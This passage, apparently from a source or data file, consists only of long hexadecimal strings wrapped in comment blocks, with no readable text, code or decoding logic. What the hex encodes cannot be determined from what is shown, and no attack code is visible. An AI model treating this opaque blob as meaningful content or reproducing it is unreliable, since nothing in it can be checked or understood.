d1db3b125ea75c2054b1dae90631f7cae5e81f3dacab7da0d60ce74cdf15d5690d199bea3735537d6f059a2cc354c8b922cb2f86ca01bd5e921631aa0ea1bb0b222d1b389b4d4ffc4446a1441400711dd0c88811a3e2ee9c4bb93c2020f53c72e0c99603d54c67ef3e45fbad64f9e202ef3751aebd5af03f1be1870e5049c6385df5169ec082d0533b196ea6e5d39fe472eb65056557d9b822c019a6263d77d97473200d66deafa1228d8b548b74e4b8ff0ca849e9db2bfd09924db7e80952af344bad9e8f2ceb7ec52791d16d2eb1795348277e9aa0b2d47fb253eec31ba2a58e1378caa71b039c0d9f25fcd892e7449c1ee15b7bed4b6cb0ec07743714b7c6ab2535b110867786ded6f92e4f73b461c6289f41ca491c317842620a27f3e4f2e87be189d233197537ac071ecfe7936465b9af7ae76b11109d2fef49c3048bda9cfbca758026e435caad74b412adf41577697e6f24aff320eef7f6d603b031eb856819a660cddbf1328ae5dff37b7378949df5d14f2adb88c31542635a67cfc9e52468d2778b70873db720628b5318c0ec041ea7c61fc8eecbfb27482e1cf65ba92192bba448e3bf6e73c73e2608becaac0e1419b19e31cc045093473eb246b8e454ae0e604a6843c54b11c703f9f8e5cc0b275f89b709f94c7b5b46a6aefd94b0afcad90f0f30bb9a7fb9b190708ab61e794efddd855d87f1e97a592a9bb3a195800c61c65914aefc113ceb1b3a4e85b4f5b062d9410e56f804245b8d78fe6e4c054cc83d2010f55c72f8a5770472fd2c2f17ac1f6e803b3b6082415e24a8a87d30999c9720f128a015df681a5ed1a84b3d9778ff4327a89b8f39e2d95b3937d29f9a11731d4bff0a8a1f9fea4f5cd5142b1a0d1f4b4441464f74f1c4324d11b485af467b54081f7f3415a3d7c7e5ddb59dff158aeffcd109571a16d301caa4619e9ce82b3e801e9e4a52c9a00a9e473f3b5776f5a3b3fc011f235fc1159b529ed0a9d920225385cc9d1f08cffdd6229653493611663dfbf78ecedd543e7a84f0b3d5575f49a5b83fb01f1b1bae738864fa86951257f1f33db899ad81cd7198ed390e200a31c0373b9abb6c4cc56777e8073978cab859357678e5151b75b329662be73c988d6f5291dfead870548ef57f8da748c3b9b067b7ecf2b4dbb23a83f41f7e00d3e11accc5fdd1e9ab4e4666da0144d326148cbf37a27e179c5073fabbb5e644e9b98972155269be8061fbaa05dd3a0965a641541899d35cade3ee1f793d0c0310d70ab782f2fd64e788f7dd208c48dd07bad329092511b62721d7eab3cb736d37f371ae3d016f3f0fccba257a49332a5eec3babfa296cf6712d538c6542d00098e63f16fc39d66912d31a9ea0fa93687fe2f0ff0f220ec0d83faf80*/
/*5f88059db47e0b9541a43bb25e92d31df85e7eacd18e1223855adfbe733e8d0c076f48fdf8f0b19a30724f1912e0fac6c768da88867702b526148f9136eaaa4006a5377455dd1046b64d535a2489d07c0df0e1105e159ab76584dab8b9a47d93f662c86faa2143a416789625370af4f9580c6d7ee9bd6f11dcef4b3a7d8658369a32ac3355eda2e7398e29ccccfb70a467b6940c02eb912d72ef9c8f0f4d9b6a5f7b299a76076e1939249349aec5507b5fa19d0e5581bcb2973059ebe452e5bdbe845aec9aa3d3ada035d18457cb3118dc18ae362c05212c9942e503481c054de67afe1610488226e920265e18e6b80a9d271e44507ba6f7de4b1b1d84513b4a3e5ad830b83f96aadc89d25616cee58de8b9f39b806896748076b097de16ac26a07011f0db60c6daadf4d2dc0afbd07b6c5ac31b247058095a8401481bd212ee8c4af83f18c19e64ff382d6011566b7fde580c8adff6185e40fdb5943eb9b976440bf6a5ff7343ab2dca3ca7dfd0c1502e9527518c7f3616967805cefd7055ea707ae45d8b65b1f4de85cc69ee50cb76cb0fd6a7839408f783fd12d7257e4d1173a723609318cda24b0204692745734fb89f9ab2adcd89ada2d9dde590f9499ad9ebfd59554f68c9822172d06e5b065859ddcb9e699c3273d8b0dd18c5505df228a711e9fa574d89a5fcaec144844d7989a949c7baf94447c0e6f7ccf41f26f2a1d90c810e7be9e9b5cb853d8657a8f5d56ce4b5f68ca504cb5a2744257d3c4cbcf3324983a845897cb82b58caeaaf6c412e4aa768fa5c2fa5cc44b2461ecc59ba673fd1dbc945c40a86b19032730bb75bf46609998fcf7276d13327e45208428e681f322cba1582d27ffbb3c72b4a001aff38156f7e8bac7bbd09ee9a89537a1ef77a7957a3b6624a0a67cbd0f4171635f78ba473e3a9465082d8723ded9ba7df525042ca726c13dc277c02349f1e49609dad78af2c529b63b177142b628d53350d6ee1c4094cbc2129d11d5070d6cee9fa49122eee85a283d3e49105383f73b8312345916bd52cb3ae22256829819c4e756e55c987a389510072d6a56e465e668ff36c2c43669a0d23a9f5654affad019f89fa3e52c2c6bdff97479548d231e64b537313306f5c1381c11f3b304acec3e185a69b038e424f9f644100909504d4e48e2216424af3316b2d962791caef1e2fb1399081b1a75b1dba27fb9d5c684b78ba903f59d8eb85cd7fb0875a4058d0bf4ee8acd27bcccd2fadd7748c477fb12c7e2a49789e8e37564e34cd68fc3633a134725b54661464865f51bdb27c82fbe6f9bb590e7322a49cbb92e9a1becd23a3fbea19a139f98976e3a9a09ab2d067af6550ad04f04c61c6d1075bc8a6c68c5e7090defda20902662e25f2b0452e9d6655a58d3e42376d73dd7f73d9152ece00d13dff4344a671cb446a8ff726a442646c0e4dc45a281f67e45d6fd7e991cbbcfa86dd5fe9c61e16b05113dc8884cbb6529d0c8ba682a2c50182ff6ef1c5f86ca029d3df008e9f87c33b9b9ea6807ffab260429128701655533bf3409d4fd49e022639c9f12706b0e520db00bca5036826b959673df4e74d5d79ceb418dcc8177c62e9f99208879637044f2ee63874fd6b238236da0e360c3afa896ab9b8158ca317718840aa52e155aa51b4444bae4656a2c341cf7f6d1679ee02066794ecd9ed1f22138e5ee36f22e1b1184dad8cc92da828e047a5556f9b852a6343643cde135754a479a7b6112a4d10011190931f81990a15148b6f365f7722fbb0fac45fb71829f37fc19e4aa77f383caf66dfd3d6f95d0f62d7ebe31d59f1d056c318095fc3236c813ea805d44f3de0ce28ebc12e979e3526f8a2258e2289bc7695e84af02ff77416b2504f689ed43681f25bc79a3f386041253cecb682219464ec0b7c47f095437902ca8606a46849b88deaf675be253b66fc7b9acd53eea3d1b4673ebe16ccf444967a045c53c5c0a4a47be6f5c1e61cf67a1be01bf31aba284bd29acc6f976b465927c66de7dd3b27321a32080df69020f906bcae21f485ab478738a418fe1846592c73b3217951b3fe05d386990300202974b9d6e1a7c8977847440a853520c174098c18dce50b4178b55f4a7c0ff3e7e1fc5790f08a5becbc9954da064c7f286064df1ae5c640428e1aafb747a8a296b263cb903ac7f0885aeb65b2ec03f780f356434645cc8e95f7d8421159c723e9d0c037fecae6deb73d984d1c26a872835e09acad3650e09f9af5b68a41bb0f262af34ccd01eeba932afede821e12ff21375c57399e178274c0924e52e689ad3328ef4d300618d91f393d9a91af955822e0211a841e2948e2caffe86532ae006cea3f1b4825661fc2425d7036c05e5cb09c29d35735f6f8305ad5930f86d5a1061120a0303c97feeea5f362db288a4e89a2cf12ccf12be5fb493b5227cd97332ca7e637858cdc856d598542582aeb8eabbbdbff26b396e6dc0999033387b8f107ba3f810c3a2cc7bb1365c60b7f4e7e5564aa541fbfa433880880f1e2ee7814d236c0ede8b19e858f6de1180724b9e4b3dc4c567f9d1c6fd03c265f3b4b8e6f0cfbe484d9e4e0a330af311f9843680edd3ebffff01b005a3c260668d44449e013cd84817f79dc8417e4220ed86f10c210432735ac0a398ee17eabd75d0a610246f50459aa10436e184c3f21b71e117201ee002d677912210ccfa5b26bf7e39a4d0ae97a50f58d7c9351881506256562f7b69ae4ad25b75ec6c2e877e360d7c711071f28880ca6ca1a52a019f6f4bbcbba27e31e7c30c4acebbe16b41e70bc236b9aa99ac3ed4a3cd644*/
/*eb69567c811ca8791369c8b63f7b2791858ff4bfde2dc1a69095015bc307e76562aba29482a8459173531ffa444288da4fdda477b076ffc908a2496ee2543b17b8db40be8d1267706bbefa1b60d37c6b70e5187ba5f58ec93144dc62753184d9277bc42e6a15e625cba56513553ccffe210b27bacdacb8bbe0c662e4e53f03568a103925969f19ef6864cb6f51f17c1190418228f3d1077ec84c02c12dfef5f0163fa3719c11ba9b1e81e13038e4ec89a32d420c855761088810d76c270372c431b976d66ce5643b0cb01c003b97759d9097198b90bcbc74dfb2d5030fcbca6cde334b14ff0450b72a014435402759110ad87de114cfbcf70004e67a417cd9f8c60cb7654d67c864a3c19dee17561341a760f74626e36b48a0cde58f79ef86f798c5ee88349c9d09524a5bd856c2a0c81b9d36b5b4d2b997e55ab87493ac55afa5df090b48a4b55778af2b15e58b6c814640942822716c24cd36d81aad6936d1b5997f1d40c7b24fed20521703735d0d2ab28e80a35d3a49bc0417a1bb108cc4123fecdf619f2a0c93bd52f283346db557bb3864f82392e2b43268a7a5d82dd9cef4746607ee160b6062ba346388536362b2360377d0624e1e084ebed0e627f8b527fd56230254d54badcfdcb41dd94dc3676249b64b37dfdbe41a34028ef5c953404df41f69456a42319b679e34cd21a799e2e11a6e9354b84af96bb6d8254f90c426a194c74ca64d18b45bdbbb73bafa4ef54325cdadfab6d1a34b68d657ec748368c4c0d374ddbda3d432c7f2350cafd5f2a6ebe988810adfecbd98f15239d1b3286ff47341b57c6bfdf0ca89ad1a4bc3535f46db2d6bf54117227ff9473cf9ecef7a300eee809908170b74cbe14cb8b5e9c4a9d4945d42392261417799b3ac71bfb38202e472456a9bd052e188d8f527aab529c0ac6dc77d4b848daaf08101ec4eb1cc99874c5fd60fea361daf10ed08dc28278794bbde0c94bb52135cba49bfaa3a7d01177b48a310322fed3e7d82cf6d42aaf10b1c1624f282c7f55137187512a7e99f583775ab2a9bc35d7fa1ab764c4f299b35229b5c46e203cb58fff5b367f0070f4b11d20ab49e699f6d08f37d3fa2cf45a1b0cc179d7bac5ecd6a54dbe5bb1f9e456db34b835fd184b6119076f192ddef4f233d49fba81df9cbda913edbd04b60dfe51c571e57f3a50feb98954f4f12f511a8e96884c50a28641e3a64cf6428dc520d25fc182d77ac3cc3d1cfdc8d66c91d27de1115c1755c602baccb1950d5f7ffb822465ffaa4031e0a66f274f3fa904c68adfb4593c74bb837b09e2cbc51e544cc997a435be18ab6d80025dd99893b835bbcd26c3b5a9f28e498d9e1bb7b40c8a8be52846bd8e55a19b583d037e641face550a2f66197960260bbf760fd311b161f54fc98c0823890d252a9ff1331a51384399905de427621a1015796bb03cca928d2f77df81eec626eddb7b137b2a5add354e15b42d4636610cfea2d1365d8dbdbed444cb1aab4783523e5feab0e8ae8870862b9c792767b95a354d904a7f9929fb297e531a0ce22386841906ccbc4bd5e8609d558d3290b26d0973d52fa12a1ac0f14ad4aaf7fef35bc05ae0980b1cd19d3fc5061e445d4b3b599d1eb9fcd79fe307c2c6e4e6b5158014b9bcd3bc6002d1400c3aeeada289dc1dcdcaefe2169388d8b2e054cf8bdcbd5bf407f905edc13fed698ac26eff71fa38641a7145d1baa8a5297d4daf120c7fb642496fa579ba2036f672e5020f8332d716bed65dfece53b931133f0bee262161166feabef13d775e66042c714aab040676a3188f789216cedc427fe34e2ea934a0078cf7caf244de7479bc0f521b2009c76bf7e140c0a608c242f62ca78fe7c113961f6909363230b62ae4d268aabdb9ede239e535c09ecc1da498c9d6589848e46113d61d1c146679a9d497e4f5edecd8da83205a7cc8e225561448709df3ae0efcc90b14100efe6975ea7a1aeaf900de4c9692f71b0d34e26f0e477b597a3c38b571df4d482f2ae0e06ced96afa364c474fe2386dc42b2901f74553eaa55af630c666d74625653fd64f06d05d0fcd95d806dd4fe6de907167d4b0e86589c48b8dda6430a82ac392e1d4fc8f55b3f00a29411f052e0e58dba4c78d600725e785af9d7c8317bb1286be703c7013749b9b1c68b66ccd305d45d0a54949b502911a26b1ba0356a8186f756e55117b313c6e25450b76b0b7347603b2845a6a37797b3a1d900bc8e00950c5cd0f0091bed30e1b4d2a15ebb602e2bdcc18ee7b2f522a6036d8e0f38ab28f2a22f75d3ce5b320f91942d8f43a1aec7d1e4ecfabc2972fcb4fbb4348f72ac38c0b44029f29cc2b81c2e345ca63af3e43aac84804db423c8c19ebb91a8a85634a4e72e39e7e012e3b92d400969d29baafd5b831caaa0e66639a75ffc7588ea492970d5d072e5fd1850bb99a769b17f45fca44aaf244d536c6eea6cff4bc8cc61061c0ade08237bade4c742ec10fc3ecf51252a296980dd0253e19ab8e458ca84b3e24435c18bf722a35953699a842e713de4107c9f055b498d1b88079c61d6c79faaba18595e884cc259df2029587aba5adeeecbe37d513490bd7c6c958029f1993fc513051fa00e4cfd1c6ace2561e466c497a51becd286924f97955a1cf4d85751c5a7d8dc1adf68b2443cfb9ee6c22a36b49ba7432d0e03cd07eb470a6a0872c05ce5c55f6e074041eb4c71f2edda10a4d94753936ac4476e4e1c0f0ba6a55957aa33433f3c61cfb43b0b9d67a9ff1a7998dc18eb591f392a663a5b96bf8b8f43f35e4b7c5fddcf5399f1e83b3096666abc7197*/
/*f1173b6feddadfb77c1b0983b445277ffa33470e9162387a097e46fece7f8268a8df4ffec7d3f146a849a2451e77f978ab0499984f5bdbc6051c51bb9d04f3da5f65703033f8b1ab7c6edcfcca82f0fde7231f16cbecb447677b73f46dcc4a3aae61a4c9e1965ed77da52a0bec4d4405fe4f2f81f1c61050fa9e8bfc3fec2386422d67171d6c3bb4c9eec350dbabb6df48b5c366b84a013a2e4b0f683c80cda2104d0cdde369dff95a9a9d592aea79566ac200db543e8ddd7a19859a71a61d7398f0b8b2eb4529bdb3307a197426830c4001404da716f56d533f0e479325e7c6290b072ee305894c11699e671fc47838f1ec69494d5bf210700432aba151d2a9940de7bad96aae15e80045cb9d723a85d0426a656735f363f4cc53cb1dd2b5a8364039ad9ee4ca3872f2772e527c9f4883e2f87cbcadfabb4555ffd8cf59aac226638b0d220541926ab8c40b1eddf2ffeffa2626dd48ee743bef87e9c5e8e62085ccbbcaae286d5d13574e4957775e8df204c66dd27937aa4305ae2236ce74feab0c97ced97aa76e33448de597f6f2ebfe9d72d2ae1ba6923ad8c6efb18870c67b307232bccd358327fa27376e5f49093cae09798a2ca22a94f64cc71ddd6b91d5db0cea63593a52310bae2e8d02de481a00e176ffb1ecfa47a3437a3595fe16f124a707198262578c20415891ba327d8886ec2521b7a26a7429b5f2eb8b69a4a8172e9faba46aed463be36e531c14b1f48bd4bd376d2709317b3d9e59d6e90f2592502c6772579aaee398682380b50a9e356382174f1a7c056031a68830d53c082662e83548c87d8246d1f96d2281a2ea64370d56ab7c9a83843a0925bad8971188408b2c2d03d15d8da57c66c6ad8f15694bdb8bb70002e49481f3a4c07e42ea7806f719517871fce1b47431cbb8f1cbf65c6ef0eeddf26fc048c684be3faf615c1e27d1e7a4a05c6c25172bb08b71aab5902292f29bc304840a0ea8e6feb2d132da97a067fd1eb52c66625222bbde02092d03c00083d62d72cc493947a79f61b7503d6a8a7a03dacaf6b3215ec77f87637815a1127444d2dce88eed935f9740b2c86def2080b4b18e27bce71345babe94ca5f0604876fd1204c908c2a2dc1f7e1cb3dd5e5748053130f34d9c30c85e4b6768d055786e2d67b32b0d4fc686e5420edabfff810a55a2a1d955f8441ecd00d92ea6ee9be19cc09d1908ba9b4a46ed31a673c5ca7666cbc95bb8f33c0c7a124402236dc979ba8e0e72844ec70786325f70679394429cbe14cf056f1d2f88c1176d7f107d20b3e0e6fec50b73605a3fb0f63f5d9c61bebdd9cee8d2fe500be1b960df72048f941fae3db28790d4cfd9d93e06f6550b1921b35083d1343a027eb2630d0c0eced7eb0c9baeecc688cb94b2f1bf7af1719b756eff6e9bc76a8e5073c68744b879e8895d7fe9e4a3be6d8a7bcac83af12299f3f500aff2086886a27e4eda22b8b528c2d3542e927a12275d0df39647acf9c1c5d264ed21345f9710089da31a6e38aaa1087aa4be1d5f65c8fc89dcf09d4c3e666ed116e1eb8a318e528a598c4e172784b3449e3e223b0a20f063a0ce2b1371f9b5a5bf587fcf37b83de6c19093ab98b194481c202161e857579748e6f9bf4b98a6ea39789469504360e712d77c559b360d9490179b2f368f63b21585fbada9cb0dc3f599d3fe564e4e03dd2825ae3cf730541eb2062d62a7fe4dbd53b678dd5486dc1438b42c476869534104ca05e045107da434cab1083558a51f0be6229f8f4353d4f6aa874a0a29e4eed98f870b6de913a6e1376b828d3703925332604296e15844d9db7f94d9e6c303f72d85eca7bf23777001a6015f0237ed62ecc83078dcb336b5d6d4c181bb8a3488fb704f810ba34ac813d2804cbc30d3d8a952d4fd40455096018604d1253a43a59dffcff3d3e7ffa40232ef9d4be6ea0f5223c699fc992687ae2642f4b156a979af3edf3dac240689b49a1001caddbb31abf0da14efb8e8d620cc37acbae83e8348b97f380a4449f69527fac0ac3f8d863edb9bf9bd8c48d8ea0eb8a867d7008bd0cc1d14de40f6c69ad3549f036135a7b6074fd45b905db221cec7c734f083ee3730f8da3c8f0d789132d948832a96d053d41e9ca979f40faeb9a5ffb59a601ab3916a07fa47c0c0fbe1260104c59eb72de8dbc4ca7d26e4c83df24cc0a185bc50555c7ac67cda6e0083982f0ba63559a24f992c352d47137d64695915e83ed489c9508cfb0da4e9f3b3d1a08393a2387c4f138811d5c00544901e2360d90d02e5e49a85986e2dcaf1c039ab1672cb65a306d60ac56d3d30c78b4ef5dc5771901fb2dabaf9a01415621218ff21bb6e9e0fc24403e7b28da811bb224313fe6ad3615a683e543c602fec0d54baed8dc6abb2aef905b403b205774d70e26587b8193a79e946b93fbddd2359cfbdf7f198e0348bf6405992d8fd938c20f024934ceec8a141e362d98144e87b59fd2623ada285ce45acd2331df265aaec05f2ffb245266d93b73ea4b839508b4ae1d981aed38e5f2d53bddf819adc25fe001cca7b6a3c9e7dd75b6bd8a74c2bcb93ec954c8455bfd870593d28185f62dc1dcf0c6d4d7d6c3b491bc63a5043733dbd07d8f76e3217835229298c26af2fe32a70454a9575cac3e7a94168ac3612fa138bd6a8f51f3e0e40690fd416771a9ded35735df2d61032898bf6ded09c53af0934706a555a0f0e7aa0066393aa1e63cdcf37ad9d609f2b99c02a46bb5b9db70be498f92020b6ad5023306f939219e8878980dc9a6bd36c489498ed2417361b3a2072a99cde3daac528cc8af918fb9*/
/*bb5ba0f3903531d3061aaf33e4faa973572155a504a7561f1faf8b95265bcf13a68fef731edaa237b0ae93ec54d6560ee70a78d982f65756e7f1f04e6c088f8d63e234a28b6e8a615d2c4333f8d1376f0324b0d4c6abdb8527336124ebed99bb52e28d6d8e68cb00187e275317ee78e9770e7be159b49f63418b59d71b310cdcc862c5fae641197fac526d2406fa361d072305142c77e7992145fdc62bf97920dbc1152d44dbb40107f9ab7aa599b7e2932654a1049dbeef8819bb6320812f06247f8ee0bd45e729c0035d5965cffe22c5d586caf8c54fe2c5e09df6dd222337137da6f6c4a2a06763b14eff2c9faadbffa70fd5addf212d8dcdd921d8ecc0ce8e2e87f48205f9fc46d6dcfb0de16fe7b69858ddc4c81a7d091af5313d1671c9088f88055a86c096c48ae028a8a122f4b050610f103e0ed0c9edc33afda6fbb9a4bfd8572009a8960ac37e1d804494b0e8bb19dfa965b473a834dec3853349f2e9ef1f7de89eeffb18d233da962afe889674621333643e3a9db2e06ccad0bcce8b56a6806b795f707ca79f512a0988ead4291e46b39603f6566970f249601af624e53a8e704a3cb936f2d9f63ffef5fd2ae85190b6bb156138149e95be40a2c905130ec684aaec69fd0fc8a5c1269486c57caf42c24b074d97e434a7a6b7de8ad2e7b3ee34b1f50ca0953c27131d6c78e157557655a93731f4f54b2065efff94176cd9c40e8811e1db91685ece3356eedd35231283e364af42cbd41a96f720640dc8365c32b36d49360dbae55aa3503f3296a721dbe2e8ae2646e78cd1325eb605ef7c1af5b1e68de59d05f0d9a30ea972bc8fe246b71ee454cd91d9c20140466d5f696ff930b01b589de9a9cb9299b90473dd6f052c9d5d841b6b6e1c2a8d9c92248f06b18bc8c2e64e64161261548d3ee11c50547160d61188c761c76118e869b0e5c21c6d5c431e2813cbc0d14a15a7f7a11608290ba4ba19ccf053479ed1158a4f0c6500c91d7725cb90e1a03a6ccaeec7539a5dbdb880941ad9787c9fd975f4a099f9cd535edc40b5d4565978d012ccc8717e9db361ae56c97c5741d30daba07c6e2495faae900201934d856797fb6606b3148aa4936f044acffae26950b83507ee1d6c42250f69248c9969ac3af117fde855471acfd058ebf1d32e36f865a054c216650245585726158f89cd5a963dc72a4758478bda4f73b618ff2eaf5f2b137418af67f30309f7e7d2a59699857a86653b330794bf62d4e60bf0160dd974c57c8f53320e44e77c4c82debbb5559631d46b0a733b4ec7c3b5756cfec9a1de999bbb8b22e90f8aaaf187315bfe7c12dea169eb832901a4a1ee98afb49ae072ce574f8c644bba63cfb1ff52e99fe8da35e9bad3e13b5cf37eeb41fc5618038a3137be685fdc7be528096e13a7220775daeb7fe258565f2c46c6af9f951dfbd0334b08ae2cf24b6dde433736be5f7356016cc140129884767c3bcb29bc752320e837a63393d999cf689535dd9b179afb4d898ab767fd4d232b9d0c77e802a913eddeec335cbd32238ce27f8ee8302cec423c54e16aa57dfc7c70cd2507a6825e79d2f0992e50e7bb05a601ad0c82d06160c91adb0a95c6ee0ce24d075006d8aad414ff437bc861da054dc2c4779d630ec41e3c830c64b2b840d917ed9e8dab2ed5b192ab53590bf29678932ccafd20e48deaa0db3ee263a0bb72a8eb5efca8746f79c3b4474a500107ab18fd6fb47daf9a2caa389c590ee6fb6106379b72ed196d0b26c94faaff78565a2c3e09752d790210aa974669dfb8c55b4b573b0059f02fd7cbda58a9cd6ae73104c996bcb37c7c28527c4a5be50ea62829aa1cb07b7460c26a16c388b215b7d94218c8a506913d06cc58264f3c0775d35edf85affa8b00380bfc54ebde5667a634a563dcd5f229586be658bd8cccc98fd3c95a0c8ad5f1401f02727a102fa2161e906c36ec3f825ec545d40a0a38e6dcc9fb38a153fecd22aaa04ab8d3016d6dbbf541c91056d4262a7789a01fef39730d8c83c837cb2628b812c6df57a3b1cb2f56e76fb618ab55230a8a5b41dcda41b1891df1dc177855efbf35b4ffe46ef6b2169b517255110bd289e2909f655e0e63524a078032aac905934b41625bf084c657ac00ab58b213bb3cf327da631f98796e43ad88303194cf07f15482ed122ca51ff51c702346b3be1189592e9346dc22a242703432815047c3c2c030d788df373c58e65d7f3d352b594dcefc1d1959969bc031ad39a4014b4c116154bab6488dd4af5f389c43481a0c5496bcee6dcc4dc04d35688b08e07f065fff89692e32ac14e59c3080463884299f239a8970d6aa376785f796fb6c10dd07470f06acc0199b32086cbff187812a77825bf1177192bafc187d1966607c78c9f884a739ed34fdda0e7aafd7d87a33d7adda860562b34265a0777bb4674a418a8d62916b44c8bdb8638473d12cfc13f659c114e482eb65205af50e73982546a56389628ccb1e5f55279d2bf5769cfab473fb6f46bde0aae5d73ccd3ca76f3f8284de0307d7bd9fd971e281505be5fbdfebf8fc782d98ae7e1c4e8e32c04b0a5bbba009c1da37a62d21f87b6288c9205f9aedddacf78fe5ae55ba0b8e7fc5039cb0580724ebc05f5b31dc1f1522fa60f2828e0a814631ac8c63442a695e0e72589e4830a43aa5be83e17886f1d244b1321e11f6663e39f488aa60cb75f1079031abe29a7dc6614e9051834a6fcb3135a4e74d43aface348d2360609a3b9c253f691394c32bcfd96f6858de8f018c7ea0a2aad6b46e7fceb6f97c1122e8a272b3730baf3cc512c8eea78*/
/*3e173a76751d2cd4a7660664a142529834ed3555e565ef581ac47e6916d41dec1f250de1d91b647a78aba9e54a0a8a8111281a92be0b18ea0096ec608a76a238fc6ed519db08d31db9ab43171cd0fc5e84f4ba4e70b73334f3d6c8f4cfefaf7b6d18d89421e1902b73a29aa5347f0693102afc6ed4038188c8e1cda3075311dab0ca6c5f04dcafebedf7efbf152589de3c45fb866dc98b60ee3b76f3daf4ce821b63ef89b5c6da95c6a833024517268660937c67723ab58602e3e9230915e469e61acdfa3e9ce98676a7913ba0f76b04828f1a7baa6880990b2d230c7bd3ef9babe8f5b14c5c598d449f715393ae5b02c96be40bb0ea1c1cb46773b75b67e10fcaffe33a01c2b28540b5addfbbacd44163bb44ea09e294d3cbc144896c1f16366ee3319c30b393d80abc4b9d1df67c8a175aba1420147ebd34a71336790dfdcdbc9fec0553810ef22e617b78b201876267e210d3a75bffd5cf642f0db6cb3b6a229eb1425ec17640ddc70faa3c6081e0c93b172ee529d6b1f091abd25c2830993f0264e34c16e1bfc660f7c512d3fb958a17e0c392f1174f6b7dfc16975a4674dcea544e995b0fd4d22d66c9e2550d218cba3003789fdf721cdb53dad79f4022f924368d18311c25e0824f017f467e351fa2fc3af87ddb17991a5f5b9db3cd5de3ae14b771e02d67a8499d53c5b94083e8f5a9fcad3ef3641e17069908c9f3c786f868919db787d6c96b79cdf1d6a62f1b941e3b02be6a97b34c964d3073966f147a9d8cfe77ef98a09257bfaf9e08ea94789fd99d089b33f6ebe0699e6b53e28ab934199144f322013e06f3aa4ed751a16a1be6148c56d4bf302ae398de66873c335c8dc2436467cbe6a4a1dfade049f423adc232afb8565274fef221ee8d2654889bc5b8d10fd80f1d313de830483821144ac45cd65faf2d1ae5fd76d28897a26732d14142a05b626ecc9735e86ccd36ac8ea3a17d66fa48622cb15d592297ffd1dfce8a1d936fa85536b3fbd6e30a09b92db9633035f707fbc3b35e602ae231a46640f971bd079f0e1182004a9da64c59ee07558ee7814c63ea91719895c2edf2da268733176fc841e9f17239f92210a5b6697c50a41a972ef02bd3f65563c928302f790b71f57a36ca34d526c8a6dabd5de2615b93a247b8143e11cd509e9302aaf2a5a435b289c785d7140fc6b14cf78637c2ab891e9f6df9d204120821859f4f71c0243a0d004dcc5e83c664da2d036f301a5afea339f10dd8f7170a5f0036829ace10d3f9a596f65f7ec7d1e089e902b3da5f686ca4aac1c96db73c7a413de3dd258ac4a23d253f380523f999b9e08fff8bb4c39b370b2d28ea2156c899b0e4cad6ec995342ed7f992452eafa812e8adf372a635002c6d16488896369a359ef8f089feeef8c941874d8463553c39ab4f9d0409d784d34e01e4db5fa7e4d9322cf62fedd10a646dbea9f4a834b071e35ded4e85c4ef1cce62698be3b0245d3e5964d69cbe13fe4ca6e120084e0e7c378a175a5c603b2443bab7a3a08879f7847c6294bbdf03bdbaa53bb4ae77a90b48802933fac3681059cf489ccb1b80fbac675e97016196f61acc467694cc269b3bc34dcb63f1b523e6c424e3d00ed1a80d321f325cdd67d0c287c6ac1dae7f08abe609be5babc9eae3054a172d54a4b0b710fbdc2cfa5ccf3816f05c21498cdc707f16a15daa03b0ba544f668c253be6e0b954a93d112707b97818b94cad3dd81677acd2463fc166f5bbb0f5f2feec3f8a3f2e8946002327970b6d728bc143b6e2b314a978482366aa5594e3a6167fb85fbb554faba6957acc975eda9f3d6b26a76d8db64f8bf6f7a00db988591f5273cc1e7d3ec82821cbadad63c78658b4bcb10106a232e5a1edd8bdfda33e1278b4feedcc118bba5132c8eb3fc85f102315f17a6564374cfcab071ae25d8ec0dd7ad6ad1dc713fb82779dcbf35e0577091100aab74b8e15b094cddcb9386fb968966afc7098484d2f487f83e7b9df05bb2c38ae60ef367a002b87fdcf997aa2174628b32c116321dfaa1a43b084443bb54ddfbd9fce26e0744600676df53e76f3e432178526e92e031e6870f837b5bd6bf1006b22967e40747de6a0004cb293ddba30a7d122170d46bf963addddb7d920471617a3aabe6d994a10743ac86ad9574ed6c0a267cfe42fbff41617f4d437623caa1683c152933f725e49192a75b406cfb6e2093b09b16ca362c1e6ffa58145802a11f24ed058172aa049cbadbc4d3a2732d94f1da3217c3aeab3a767cb100f55a4784561671fb5281115451e9e1ce190a9c65dc688c1c082f2f6e79e1def8424c4e3b49a67f3719e60ab7235485923df50d387e8a63617e394e7ea8546ab12ace123ce40fa19629c15073a2dc697a2437c5632aff8f83936fa10b19c09f7a336889fa258c80c05e290965cdd7680f10efb1c87b3b7a5fc112ee55bfb9a331dc9fd8585aa2eb1fca89dbce8b6c789dce36b2960cc298cd7a76c52c85bc6fc0b600d18f8becebcee99872183326a41bd453bfdf91892c01a9d8f30a24fb7356685517382795014e5a7c463494a493f39444daa9c3c6f872e26453ab1615513a9dd0c44de2bb3945277124ab8f139aeb894abdf0bec98979abb4277872b0908e2922c0c87838c06cfedb4b306dbd77bdfe4414418edc2f874ba953838ac327d33da638bf3ea7b1ddc4f6e1a8a3a8c55b6388e8f1f37d355cd77dd907e57247b0956420f6c9dc199021836cd634e4dc7d36bd783ab133e7ef24429b83e9ed49051c57a9fea08ee7a459a9454554f8ee4fb4ada048f4bc47e4fe34c60fe9328ab0*/
/*32f16df7b7788efd58c37cba5960bbb1f97909581dd35f71bf6f58bb9462f07e405c50de9f0e2380174e79961e92f14fa245031e3b6e0bd1dcbdca26845738fcd2912fa391766098ce2d77aaf0dd94b4b6afe4cdcb36fc0d9f9926aea87740847b3acdc41b0d41a991d8c118b784be6f803c7a581c287347d14b9bea27393a739e4d9d56054e361fd55fc33fa1a6ef8a6cf167ac8fbc75df6131f5b38d357e3066393cb012686286f20b71231961eac2604f5e38d2d51d44ec87238be580a51ffe8b855175170471d6cf15fece0325f4a1e99c6eeb5c96c2e7768e5829813a84920db8d7f44201c05bb9dde4ce62d30e00737bcbef8052a007604383c30ccc6c3987cca60e18d65ce0ebf3317ce430b539fb1874c763f69415c1e7d0b6a8aa78c454857fe1d6b53c934a3dc8d498edfc1797e144c6472b86c1fc440985175183f5fc192f114fdc94f7dec35d9b354854f556a70f1a579d3c811a05b85ab9c9bb199d5100d1fb288e4673b8c8d6872f99fc844155d85b656758e872bbf47963764453eea7cc33980605e197dfa19490e477d61136c94cea0aa82ca31d02477bb97ed6c70a4dd3881adc6d37e1c4dbe91f85c2122d87e1e35a6f703cb7571fc2f27a166a3a51cd319d13679f709e0bbb5afb7397ad73fe2ac64af538aeef1238c1000720aada241c4538e262d4e40cf2378e9f645cf5808d9531f2ae42ac2dce2783f81cf90875ac0db7219d8ecd287bc8e1aadce1c2bf279550c6e152765af7db5bfe52d0c0f7bf0b36ae7348951aba455152edb6e5c44a13513f